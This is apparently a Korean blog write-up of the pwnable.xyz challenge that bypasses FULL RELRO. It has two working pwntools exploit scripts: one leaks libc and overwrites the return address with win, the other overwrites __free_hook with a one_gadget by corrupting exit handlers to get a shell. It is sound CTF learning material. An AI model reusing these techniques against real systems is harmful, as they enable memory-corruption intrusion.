# checksec / file
# process
FULL RELRO 보호기법이 걸려있어서 GOT overwrite은 하지 못하지만 두 가지 솔루션이 있다.
1. return address -> win (local, remote로 성공)
BOF는 일어나지 않지만 2번 메뉴에서 입력한 주소에 값을 적을 수 있다.
return address 주소를 알아낼 수 있으면 1번 메뉴에서 return address 입력하고, 2번 메뉴에서 win 함수 주소를 값으로 적는다.
1) libc leak -> environ ptr 구한다.
2) environ 주소 구한다.
- 1번 메뉴 : environ
- 3번 메뉴 : environ 값 출력
3) environ 주소를 이용해서 main의 SFP를 구하고, SFP + 8이 return address이므로 이것으로 return address를 구한다.
4) return address -> win
- 1번 메뉴 : return address
- 2번 메뉴 : win
5) 0번 메뉴 선택해서 반복문 끝낸다.
- return 시 win 함수로 뛸 수 있다.
environ과의 offset은 처음 main+4 쯤에서 register를 출력해서 rbp 값과 environ 값과의 offset을 구하면 된다.
2. exit 함수 사용 (local만 성공함)
exit함수는 exit.h에서 정의된 __run_exit_handlers를 호출한다.
Exit_function_list 구조체는 linked_list로 구성되어있다.
Exit에 있는 free를 이용해 익스한다.
Listp의 처음은 __exit_funcs이고,
__exit_funcs의 포인터 값인 initial를 참조해서 while문을 시작하는데, 이 initial을 조작한다.
free하기 위해서는 while(cur->idx > 0)을 우회해야 하는데 cur(initial) -> next 있는 위치에 아무거나 써주면 된다.
그럼 free 함수가 호출된다.
★ exit함수를 사용하는 방법
Process #1
1) __free_hook을 system으로 덮는다.
2) cur(initial)->idx를 0으로 덮는다. (cur->idx > 0) 우회위해)
3) cur(initial)->next를 “/bin/sh”로 덮는다.
왜냐면 __free_hook의 인자가 cur(initial)->next이기 때문!!
Porcess #2
1) __free_hook을 one_gadget으로 덮는다.
2) initial은 0이 아닌 아무 값을 준다.
- cur(initial)->next에 어느값이든 있으면 free(cur->next) 할 수 있다.
3) cur(initial)->idx를 0으로 덮는다. (cur->idx > 0) 우회위해) == initial+8은 0 값을 준다.
#2 방법을 사용했다.
#1 libc leak -> __free_hook 주소 구한다.
#2 1번에서 준 intial과 initial+8 값을 2번 메뉴에서 각각 3(아무값)과 0(무조건)으로 준다.
initial+8의 값이 1로 되어있어서 free를 실행시키는 조건을 만족시키지 못한다.
따라서 initial + 8 값을 0으로 바꾸고 initial은 아무 값이나 준다.
#3 1번 : __free_hook, 2번 : one_gadget
# exploit code & exploit
solution #1
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30019)
libc = ELF("./alpine-libc-2.28.so")
#p = process("./challenge")
elf = ELF("./challenge")
#libc = elf.libc
p.sendafter("> ", '1')
p.sendafter("Addr: ", str(elf.got['setvbuf']))
setvbuf = u64(p.recvuntil("\x7f") + "\x00\x00")
libcBase = setvbuf - libc.symbols['setvbuf']
environ_ptr = libcBase + libc.symbols['environ']
p.sendafter("> ", '1')
p.sendafter("Addr: ", str(environ_ptr))
#gdb.attach(p)
environ = u64(p.recvuntil("\x7f") + "\x00\x00")
rbp = environ - 248
ret = rbp + 8
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(ret))
p.sendafter("Value: ", str(elf.symbols['win']))
p.sendafter("> ", '0')
p.interactive()
solution #2
#!/usr/bin/python
from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30019)
libc = ELF("./alpine-libc-2.28.so")
elf = ELF("./challenge")
win = elf.symbols['win']
#libc = elf.libc
# libc leak
p.sendafter("> ", '1')
#gdb.attach(p)
p.sendafter("Addr: ", str(elf.got['setvbuf']))
setvbuf = u64(p.recvuntil("\x7f") + "\x00\x00")
libcBase = setvbuf - libc.symbols['setvbuf']
free_hook = libcBase + 0x3c67a8
#one_gadget = libcBase + 0x4526a
one_gadget = libcBase + 0x4271e
initial = libcBase + 0x3c5c40
#system = libcBase + libc.symbols['system']
log.info("libcBase : "+hex(libcBase))
# __free_hook -> one_gadget
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(free_hook))
p.sendafter("Value: ", str(one_gadget))
#p.sendafter("Value: ", str(system))
# initial =>
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(initial))
p.sendafter("Value: ", str(0x00003))
#p.sendafter("Value: ", "/bin/sh\x00")
# initial +8 => 0
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(initial+8))
p.sendafter("Value: ", str(0))
p.sendafter("> ", '0')
p.interactive()
[Pwnable.xyz] executioner v2 (0) | 2020.04.20 |
---|---|
[Pwnable.xyz] iape (0) | 2020.03.25 |
[pwnable.xyz] catalog (0) | 2020.03.09 |
[pwnable.xyz] message (0) | 2020.02.28 |
[pwnable.xyz] badayum (0) | 2020.02.28 |